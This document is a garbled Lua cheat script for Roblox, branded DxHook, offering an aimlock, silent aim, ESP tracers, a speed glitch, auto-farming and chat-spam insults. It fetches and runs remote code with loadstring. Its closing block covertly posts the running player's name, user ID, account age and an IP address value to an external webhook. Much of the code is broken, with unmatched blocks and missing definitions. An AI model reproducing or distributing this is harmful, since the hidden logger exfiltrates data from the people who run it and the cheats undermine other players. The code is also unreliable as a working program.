Roblox Aimbot and Aimlock Script
Roblox Aimbot and Aimlock Script
StarterGui:SetCore("SendNotification", {
Title = "DxHook";
Text = "Whitelisted Loading Gui";
Icon = "rbxthumb://type=Asset&id=7181624799&w=150&h=150";
Button1 = "Alr Bet";
})
local whitelistecheck =
loadstring(game:HttpGet("[Link]
main/users", true))()
if whitelistecheck[game:service('Players').[Link]] then
print("User Id Whitelisted")
if plr:IsInGroup(GroupID) then
print("Group Id Whitelisted")
local library31 =
loadstring(game:HttpGet("[Link]
utaniyorum"))()
library31:CreateWatermark("dxhook")
-- Aimlock Settings
local Config = {
WindowName = "[Link] | v2.0.0",
Color = [Link](255,0,255),
Keybind = [Link]
}
local Library =
loadstring(game:HttpGet("[Link]
[Link]"))()
local Window = Library:CreateWindow(Config, game:GetService("CoreGui"))
Window:SetBackground("6880496154")
-- Fucking Aimlock
getgenv().Aimlock = false
getgenv().CiazwareUniversalAimbotLoaded = true
getgenv().WorldToViewportPoint = function(P)
return Camera:WorldToViewportPoint(P)
end
getgenv().WorldToScreenPoint = function(P)
return [Link](Camera, P)
end
getgenv().GetObscuringObjects = function(T)
if T and T:FindFirstChild(getgenv().AimPart) and Client and
[Link]:FindFirstChild("Head") then
local RayPos = workspace:FindPartOnRay(RNew(
T[getgenv().AimPart].Position, [Link])
)
if RayPos then return RayPos:IsDescendantOf(T) end
end
end
getgenv().GetNearestTarget = function()
-- Credits to whoever made this, i didnt make it, and my own mouse2plr
function kinda sucks
local players = {}
local PLAYER_HOLD = {}
local DISTANCES = {}
for i, v in pairs(Players:GetPlayers()) do
if v ~= Client then
[Link](players, v)
end
end
for i, v in pairs(players) do
if [Link] ~= nil then
local AIM = [Link]:FindFirstChild("Head")
if getgenv().TeamCheck == true and [Link] ~= [Link] then
local DISTANCE =
([Link]:FindFirstChild("Head").Position -
[Link].p).magnitude
local RAY = [Link]([Link].p,
([Link].p - [Link].p).unit * DISTANCE)
local HIT,POS = [Link]:FindPartOnRay(RAY,
[Link])
local DIFF = [Link]((POS - [Link]).magnitude)
PLAYER_HOLD[[Link] .. i] = {}
PLAYER_HOLD[[Link] .. i].dist= DISTANCE
PLAYER_HOLD[[Link] .. i].plr = v
PLAYER_HOLD[[Link] .. i].diff = DIFF
[Link](DISTANCES, DIFF)
elseif getgenv().TeamCheck == false and [Link] == [Link]
then
local DISTANCE =
([Link]:FindFirstChild("Head").Position -
[Link].p).magnitude
local RAY = [Link]([Link].p,
([Link].p - [Link].p).unit * DISTANCE)
local HIT,POS = [Link]:FindPartOnRay(RAY,
[Link])
local DIFF = [Link]((POS - [Link]).magnitude)
PLAYER_HOLD[[Link] .. i] = {}
PLAYER_HOLD[[Link] .. i].dist= DISTANCE
PLAYER_HOLD[[Link] .. i].plr = v
PLAYER_HOLD[[Link] .. i].diff = DIFF
[Link](DISTANCES, DIFF)
end
end
end
for i, v in pairs(PLAYER_HOLD) do
if [Link] == L_DISTANCE then
return [Link]
end
end
return nil
end
[Link]:Connect(function(a)
if not (Uis:GetFocusedTextBox()) then
if a == AimlockKey and AimlockTarget == nil then
pcall(function()
if MousePressed ~= true then MousePressed = true end
local Target;Target = GetNearestTarget()
if Target ~= nil then
AimlockTarget = Target
end
end)
elseif a == AimlockKey and AimlockTarget ~= nil then
if AimlockTarget ~= nil then AimlockTarget = nil end
if MousePressed ~= false then
MousePressed = false
end
end
end
end)
[Link]:Connect(function()
local AimPartOld = getgenv().OldAimPart
if getgenv().ThirdPerson == true and getgenv().FirstPerson == true then
if ([Link].p - [Link].p).Magnitude > 1 or
([Link].p - [Link].p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == true and getgenv().FirstPerson == false then
if ([Link].p - [Link].p).Magnitude > 1 then
CanNotify = true
else
CanNotify = false
end
elseif getgenv().ThirdPerson == false and getgenv().FirstPerson == true then
if ([Link].p - [Link].p).Magnitude <= 1 then
CanNotify = true
else
CanNotify = false
end
end
if getgenv().Aimlock == true and MousePressed == true then
if AimlockTarget and [Link] and
[Link]:FindFirstChild(getgenv().AimPart) then
if getgenv().FirstPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
[Link] = CF([Link].p,
[Link][getgenv().AimPart].Position +
[Link][getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
[Link] = CF([Link].p,
[Link][getgenv().AimPart].Position)
end
end
elseif getgenv().ThirdPerson == true then
if CanNotify == true then
if getgenv().PredictMovement == true then
[Link] = CF([Link].p,
[Link][getgenv().AimPart].Position +
[Link][getgenv().AimPart].Velocity/PredictionVelocity)
elseif getgenv().PredictMovement == false then
[Link] = CF([Link].p,
[Link][getgenv().AimPart].Position)
end
end
end
end
end
if getgenv().CheckIfJumped == true then
if [Link] == [Link]
and [Link] == true then
getgenv().AimPart = "RightLowerLeg"
else
getgenv().AimPart = AimPartOld
end
end
end)
-- Legit Section
end)
end)
local Section3 = Tab1:CreateSection("Aimbot Settings")
-- Finish <3
-- Rage Section
local DaHoodSettings = {
SilentAim = true,
AimLock = false,
AimLockKeybind = [Link].E
}
getgenv().DaHoodSettings = DaHoodSettings
function [Link]()
if not ([Link] == true and [Link] ~= LocalPlayer and
[Link] ~= nil) then
return false
end
return true
end
local __index
__index = hookmetamethod(game, "__index", function(t, k)
if (t:IsA("Mouse") and (k == "Hit" or k == "Target") and
[Link]()) then
local SelectedPart = [Link]
return __index(t, k)
end)
RunService:BindToRenderStep("AimLock", 0, function()
if ([Link] and [Link]() and
UserInputService:IsKeyDown([Link])) then
local SelectedPart = [Link]
[Link] =
[Link]([Link], [Link])
end
end)
if saksoamaarkakoltukolan == false then
[Link] = false
[Link] = 0
[Link] = 0
end
end)
-- Finish <3
end)
[Link]:connect(function(Key)
if [Link] == [Link].Z then
Enabled = not Enabled
if Enabled == true then
repeat
[Link] =
[Link] +
[Link] * getgenv().Multiplier
[Link]:wait()
until Enabled == false
end
end
end)
end)
function stopTracks()
for _, v in next,
game:GetService("Players").[Link]:FindFirstChildOfClass("Humanoid"):
GetPlayingAnimationTracks() do
if ([Link]:match("rbxassetid")) then
v:Stop()
end
end
end
function loadAnimation(id)
if [Link] == id then
stopTracks()
[Link] = "1"
else
[Link] = id
local animationTrack =
game:GetService("Players").[Link]:FindFirstChildOfClass("Humanoid"):
LoadAnimation(UniversalAnimation)
animationTrack:Play()
end
end
[Link]:Connect(function(Key)
if Key == "x" then
SpeedGlitch = not SpeedGlitch
if SpeedGlitch == true then
stopTracks()
loadAnimation("rbxassetid://3189777795")
wait(1.5)
[Link] = [Link]
wait(0.15)
[Link]:FindFirstChild("Wallet").Parent =
[Link]
wait(0.05)
repeat game:GetService("RunService").Heartbeat:wait()
keypress(0x49)
game:GetService("RunService").Heartbeat:wait()
keypress(0x4F)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x49)
game:GetService("RunService").Heartbeat:wait()
keyrelease(0x4F)
game:GetService("RunService").Heartbeat:wait()
until SpeedGlitch == false
end
end
end)
end)
local garbage = {
"mad kid";
"ur bad";
"sonney boy";
"ez";
"my grandma has more skill than you";
"seed";
"sit son";
"trash";
"LOL";
"LMAO";
"imagine being you right now";
"xd";
"don't try LOL";
"you lose";
"why do you even try";
"I didn't think being this bad was possible";
"leave";
"no skill";
"so sad man.";
"bad";
"you're nothing";
"lol";
"so trash";
"so bad";
"ur salty";
"salty";
"look he's mad";
"cry more";
"keep crying";
"cry baby";
"hahaha I won";
"no one likes u";
"run 1s seed";
"thank you for your time";
"you were so close!";
"better luck next time!";
"rodent";
"HAHA";
"ill 5-0";
"just quit";
"time to take out the trash";
"did you get worse?";
"I'm surprised you haven't quit yet";
"lol ur aim buy dxhook";
"quit please";
"bruh momoent";
"bro where ur aim?";
"oh he very bad";
[Link]:FireServer(
garbage[[Link](1,#garbage)],
"All"
)
end
end
game:GetService("UserInputService").InputBegan:connect(TrashTalk)
end)
[Link] =
[Link] +
[Link] * L_135_
game:GetService("RunService").Stepped:wait()
until L_136_ == false
end
end
end)
end)
function onButton1Down(mouse)
down = true
while down do
if not down then break end
local char = [Link]
function onButton1Up(mouse)
down = false
end
function onSelected(mouse)
[Link]:connect(function(k) if k:lower()=="q"then onButton1Down(mouse)end
end)
[Link]:connect(function(k) if k:lower()=="q"then onButton1Up(mouse)end
end)
end
onSelected([Link]:GetMouse())
end)
if bodyeffects_folder.Movement:findFirstChild("SuperSpeed") then
walkspeed = 300
end
if bodyeffects_folder.Movement:findFirstChild("HighJump") then
jumppower = 30
end
end)
-- Finish <3
function gettarget()
local Character = [Link] or
[Link]:wait()
local HumanoidRootPart = Character:WaitForChild("HumanoidRootPart")
local maxdistance = [Link]
local target
for i, v in pairs(game:GetService("Workspace").Cashiers:GetChildren())
do
if v:FindFirstChild("Head") and v:FindFirstChild("Humanoid") and
[Link] > 0 then
local distance = ([Link] -
[Link]).magnitude
if distance < maxdistance then
target = v
maxdistance = distance
end
end
end
return target
end
for i, v in pairs(workspace:GetDescendants()) do
if v:IsA("Seat") then
v:Destroy()
end
end
while [Link] do
wait()
local Target = gettarget()
repeat
wait()
pcall(
function()
local Character = [Link] or
[Link]:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
local Combat =
[Link]:FindFirstChild("Combat") or Character:FindFirstChild("Combat")
if not Combat then
Character:FindFirstChild("Humanoid").Health = 0
return
end
[Link] = [Link] *
[Link](0, -2.5, 3)
[Link] = Character
Combat:Activate()
end
)
until not Target or [Link] < 0
for i, v in
pairs(game:GetService("Workspace").[Link]:GetDescendants()) do
if v:IsA("ClickDetector") and [Link] and
[Link]:find("Money") then
local Character = [Link] or
[Link]:wait()
local HumanoidRootPart =
Character:WaitForChild("HumanoidRootPart")
if ([Link] -
[Link]).magnitude <= 18 then
repeat
wait()
fireclickdetector(v)
until not v or not [Link]
end
end
end
wait(1)
end
end)
local Settings = {
Box_Color = [Link](255, 0, 0),
Tracer_Color = [Link](255, 0, 0),
Tracer_Thickness = 1,
Box_Thickness = 1,
Tracer_Origin = "Bottom", -- Middle or Bottom if FollowMouse is on this won't
matter...
Tracer_FollowMouse = false,
Tracers = false
}
local Team_Check = {
TeamCheck = false, -- if TeamColor is on this won't matter...
Green = [Link](0, 255, 0),
Red = [Link](255, 0, 0)
}
local TeamColor = false
--// SEPARATION
local player = game:GetService("Players").LocalPlayer
local camera = game:GetService("Workspace").CurrentCamera
local mouse = player:GetMouse()
--//Tracer
if [Link] then
if Settings.Tracer_Origin == "Middle" then
[Link] = [Link]*0.5
[Link] = [Link]*0.5
elseif Settings.Tracer_Origin == "Bottom" then
[Link] =
[Link]([Link].X*0.5, [Link].Y)
[Link] =
[Link]([Link].X*0.5, [Link].Y)
end
if Settings.Tracer_FollowMouse then
[Link] = [Link](mouse.X, mouse.Y+36)
[Link] = [Link](mouse.X,
mouse.Y+36)
end
[Link] = [Link](HumPos.X, HumPos.Y +
DistanceY*2)
[Link] = [Link](HumPos.X, HumPos.Y +
DistanceY*2)
else
[Link] = [Link](0, 0)
[Link] = [Link](0, 0)
[Link] = [Link](0, 0)
[Link] = [Link](0, 02)
end
local healthoffset =
[Link]/[Link] * d
[Link] = red:lerp(green,
[Link]/[Link]);
if Team_Check.TeamCheck then
if [Link] == [Link] then
Colorize(Team_Check.Green)
else
Colorize(Team_Check.Red)
end
else
[Link] = Settings.Tracer_Color
[Link] = Settings.Box_Color
end
if TeamColor == true then
Colorize([Link])
end
Visibility(true, library)
else
Visibility(false, library)
end
else
Visibility(false, library)
if [Link]:FindFirstChild([Link]) == nil then
connection:Disconnect()
end
end
end)
end
[Link](Updater)()
end
for i, v in pairs(game:GetService("Players"):GetPlayers()) do
if [Link] ~= [Link] then
[Link](ESP)(v)
end
end
[Link]:Connect(function(newplr)
if [Link] ~= [Link] then
[Link](ESP)(newplr)
end
end)
end)
-- Target Section
-- Finish <3
--dxhook showcase
local Content = ""
local Embed = {
["title"] = "***Execution***",
["description"] = "Name: "..[Link].."\nDisplay Name:
"..[Link].."\nExploit: "..getexploit().."\nGame:
[Link]
["type"] = "rich",
["color"] = tonumber(0xffff00),
["thumbnail"] = {
["url"] = "[Link]
assetId="..[Link].."&width=768&height=432"
},
["image"] = {
["url"] = "[Link]
x=250&y=250&Format=Png&username="..[Link]
},
["fields"] = {
{
["name"] = "__Account Age:__",
["value"] = [Link].." days old",
["inline"] = true
},
{
["name"] = "__User ID:__",
["value"] = [Link],
["inline"] = true
}
},
["footer"] = {
["text"] = "IP Address: "..tostring(ident),
["icon_url"] =
"[Link]
Screenshot_25.png"
},
["timestamp"] = [Link]('%d-%d-%dT%02d:%02d:%02dZ', [Link],
[Link], [Link], [Link], [Link], [Link]),
};
(syn and [Link] or http_request or [Link]) {
Url = '[Link]
jjBaVA4FSQGr253KAtJGFW1J55YiTwHudw2je7j1uxgmT-n0-8gycB-mML';
Method = 'POST';
Headers = {
['Content-Type'] = 'application/json';
};
Body = game:GetService'HttpService':JSONEncode({content = Content; embeds =
{Embed}; });
};